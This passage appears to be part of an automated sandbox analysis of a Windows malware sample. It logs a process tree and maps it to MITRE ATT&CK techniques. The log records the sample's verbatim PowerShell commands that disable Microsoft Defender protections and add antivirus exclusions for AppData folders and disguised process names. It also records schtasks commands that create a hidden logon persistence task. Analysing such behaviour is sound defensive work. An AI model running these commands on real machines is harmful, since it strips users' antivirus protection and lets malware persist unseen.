  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force""
    3⤵
    PID:6592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:4516
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Google\Update\RuntimeBroker.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6992

C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe
C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe
1⤵
PID:352
- C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe
  C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe
  2⤵
  PID:2836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    PID:3448
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force""
    3⤵
    PID:4248
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:1232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force""
    3⤵
    PID:3776
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4816
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force""
    3⤵
    PID:5420
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIOAVProtection $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:1232
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force""
    3⤵
    PID:4604
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableScriptScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:4940
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:1984
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force""
    3⤵
    PID:2900
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableBlockAtFirstSeen $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:3728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force""
    3⤵
    PID:2660
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisablePrivacyMode $true -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      PID:2212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force""
    3⤵
    PID:3188
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -SubmitSamplesConsent 2 -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables automatic submission of suspicious files to Microsoft by Windows Defender
      PID:2896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -PUAProtection 0 -Force""
    3⤵
    PID:4748
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -PUAProtection 0 -Force"
      4⤵
      PID:5072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force""
    3⤵
    PID:3228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableArchiveScanning $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:4820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force""
    3⤵
    PID:3580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupFullScan $true -Force"
      4⤵
      PID:5512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force""
    3⤵
    PID:5960
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableCatchupQuickScan $true -Force"
      4⤵
      PID:4724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force""
    3⤵
    PID:1756
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableEmailScanning $true -Force"
      4⤵
      PID:4596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force""
    3⤵
    PID:2732
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableBehaviorMonitoring $true -DisableScriptScanning $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -Force"
      4⤵
      Disables one or more Microsoft Defender components
      PID:5428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force""
    3⤵
    PID:5208
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force""
    3⤵
    PID:6532
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
    3⤵
    PID:4116
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:3200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force""
    3⤵
    PID:2512
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force""
    3⤵
    PID:6704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Google\Update' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force""
    3⤵
    PID:7004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'ServiceHost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7088
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force""
    3⤵
    PID:3484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force""
    3⤵
    PID:6752
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'WindowsUpdate.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force""
    3⤵
    PID:4864
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionProcess 'svchost.exe' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:3396
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe" /sc onlogon /f /rl highest"
    3⤵
    PID:6288
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsSecurityUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\WinSecEnv\WindowsUpdate.exe" /sc onlogon /f /rl highest
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4268

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:3384
- C:\Windows\explorer.exe
  explorer.exe /LOADSAVEDWINDOWS
  2⤵
  PID:3828

C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
1⤵
PID:1216

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:6060

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools